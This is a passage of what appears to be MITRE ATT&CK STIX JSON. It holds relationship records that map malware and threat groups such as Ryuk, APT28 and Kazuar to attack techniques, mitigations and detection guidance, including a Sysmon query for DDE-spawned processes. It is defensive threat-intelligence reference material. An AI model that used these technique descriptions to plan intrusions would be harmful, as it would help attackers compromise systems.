2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-08-19T16:31:40.661Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) has used HTTP over ports 9005 and 9006 for network traffic, 9002 for C2 requests, 33666 as a WebSocket, and 8090 to download files.(Citation: Trustwave GoldenSpy June 2020)","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2244e21e-b7f6-476f-8f58-67db772f9736","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.856Z","description":"The [CALENDAR](https://attack.mitre.org/software/S0025) malware communicates through the use of events in Google Calendar.(Citation: Mandiant APT1)(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--5a84dc36-df0d-4053-9b7c-f0c388a57283","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22501b39-e106-4a7f-b915-013c30f47af8","type":"relationship","created":"2020-06-26T04:01:09.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T14:48:33.917Z","description":"Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22502e6f-8365-49ea-bb94-f46a98f2643b","type":"relationship","created":"2021-09-28T01:36:41.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-09-28T01:36:41.944Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22507af4-0701-4ebe-99b1-153cf803f829","type":"relationship","created":"2021-09-24T16:42:46.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-27T17:36:38.629Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) has copied a random file from the Windows System32 folder to the %APPDATA% location under a different hidden filename.(Citation: NCC Group WastedLocker June 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2251345d-d828-4768-b8f0-4a4ddd8e41ca","type":"relationship","created":"2021-02-25T13:38:55.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bleeping Computer - Ryuk WoL","url":"https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/","description":"Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021."}],"modified":"2021-02-25T13:38:55.719Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has used the C$ network share for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2251e15a-5b62-408d-b6a0-01aa8e2677b3","type":"relationship","created":"2019-01-31T00:36:41.019Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","source_name":"Talos Konni May 2017"}],"modified":"2019-07-26T18:47:19.488Z","description":"[KONNI](https://attack.mitre.org/software/S0356) can collect the IP address from the victim’s machine.(Citation: Talos Konni May 2017)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--225ab1b4-f800-4a92-9949-a0f05fce6213","type":"relationship","created":"2019-06-21T16:28:45.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-05T21:40:28.429Z","description":"Application control may be able to prevent the running of executables masquerading as other files.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--225f57e8-5001-4f20-b610-b62faf650fc9","created":"2024-03-25T21:22:26.803Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"},{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:22:26.803Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) leverages legitimate domain accounts to gain access to the target environment.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--226403d7-7318-4f15-9cf6-83fd6684c33f","created":"2024-07-29T22:42:46.372Z","revoked":false,"external_references":[{"source_name":"CERT-UA WinterVivern 2023","description":"CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.","url":"https://cert.gov.ua/article/3761104"},{"source_name":"SentinelOne WinterVivern 2023","description":"Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.","url":"https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:42:46.372Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) uses HTTP and HTTPS protocols for exfiltration and command and control activity.(Citation: SentinelOne WinterVivern 2023)(Citation: CERT-UA WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2267876a-6c6a-4944-9bf2-eaf8e41b087c","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.572Z","description":"Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\n\nMonitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers.","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--226961a0-998c-4402-a7de-3c7922c4b45e","created":"2023-06-14T21:46:55.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T21:17:14.871Z","description":"When executing with non-root level permissions, [RotaJakiro](https://attack.mitre.org/software/S1078) can install persistence by adding a command to the .bashrc file that executes a binary in the `${HOME}/.gvfsd/.profile/` folder.(Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--22708534-eb0e-4217-93a9-74615c537411","created":"2024-03-01T19:19:30.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonard TAG 2023","description":"Billy Leonard. (2023, April 19). Ukraine remains Russia’s biggest cyber focus in 2023. Retrieved March 1, 2024.","url":"https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T19:35:18.554Z","description":"[APT28](https://attack.mitre.org/groups/G0007) compromised Ubiquiti network devices to act as collection devices for credentials compromised via phishing webpages.(Citation: Leonard TAG 2023)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2275a778-0ba1-40a7-8421-1659dc2e38d4","created":"2023-08-01T18:21:24.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.557Z","description":"(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--227624a1-7dda-4691-89b3-49336aa68bfa","type":"relationship","created":"2020-11-30T16:35:35.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2020-11-30T16:35:35.610Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can inject code through calling VirtualAllocExNuma.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2278eb19-1ff4-4406-ab79-03108732330c","type":"relationship","created":"2020-06-16T17:53:18.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-06-16T17:53:18.779Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has compiled the source code for a downloader directly on the infected system using the built-in Microsoft.CSharp.CSharpCodeProvider class.(Citation: ESET Gamaredon June 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--227abd66-91cc-436e-aad8-c1fb82691357","type":"relationship","created":"2019-01-30T15:47:41.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Lazarus Nov 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/","description":"Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."}],"modified":"2020-03-20T16:06:56.297Z","description":"[AuditCred](https://attack.mitre.org/software/S0347) can search through folders and files on the system.(Citation: TrendMicro Lazarus Nov 2018)","relationship_type":"uses","source_ref":"malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2286857e-ad96-4dda-abac-988e8cadda5c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.779Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) downloads additional plug-ins to load on the victim’s machine, including the ability to upgrade and replace its own binary.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22879bfd-c9de-480b-83f3-4b58ef6dd08e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Darkmoon Aug 2005","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"}],"modified":"2020-03-16T16:57:13.434Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) creates run key Registry entries pointing to a malicious executable dropped to disk.(Citation: Symantec Darkmoon Aug 2005)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--228c84a6-e6fa-45f3-9f89-36a0c95fb1e7","created":"2021-03-11T16:55:13.614Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.135Z","description":"[Penquin](https://attack.mitre.org/software/S0587) can execute remote commands using bash scripts.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--228e71e2-0e76-4020-a850-7a568412259b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:31.998Z","description":"[Comnie](https://attack.mitre.org/software/S0244) executes a batch script to store discovery information in %TEMP%\\info.dat and then uploads the temporarily file to the remote C2 server.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--22907af2-9859-4a41-bcb4-0eaf2bb6993b","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:43:28.886Z","description":"Monitor for newly executed processes that may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nAnalytic 1 - Unusual Child Process spawned using DDE exploit\n\n (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") Image=\"*.exe\" (ParentImage=\"*excel.exe\" OR ParentImage=\"*word.exe\" OR ParentImage=\"*outlook.exe\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--229150e3-5c4b-475e-8981-27fb472ad119","type":"relationship","created":"2020-03-19T23:11:54.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub LaZagne Dec 2018","url":"https://github.com/AlessandroZ/LaZagne","description":"Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018."}],"modified":"2020-03-19T23:11:54.931Z","description":"[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from chats, databases, mail, and WiFi.(Citation: GitHub LaZagne Dec 2018)","relationship_type":"uses","source_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--22926f48-80d0-4ce1-8ee0-41a8930b34ef","created":"2024-09-17T18:35:36.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:59:48.133Z","description":"\n[Latrodectus](https://attack.mitre.org/software/S1160) can enumerate running processes including process grandchildren on targeted hosts.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2296f1da-0910-46ee-81f7-5d10cb8753cd","type":"relationship","created":"2021-03-28T23:26:11.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2021-03-28T23:26:11.696Z","description":"[Bazar](https://attack.mitre.org/software/S0534) has been downloaded via Windows BITS functionality.(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--229e8b6e-6c16-406a-8def-7588aaae4fcb","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"},{"source_name":"Symantec Waterbug","description":"Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.","url":"https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-12T20:32:47.401Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) uses a custom packer.(Citation: Symantec Waterbug)(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 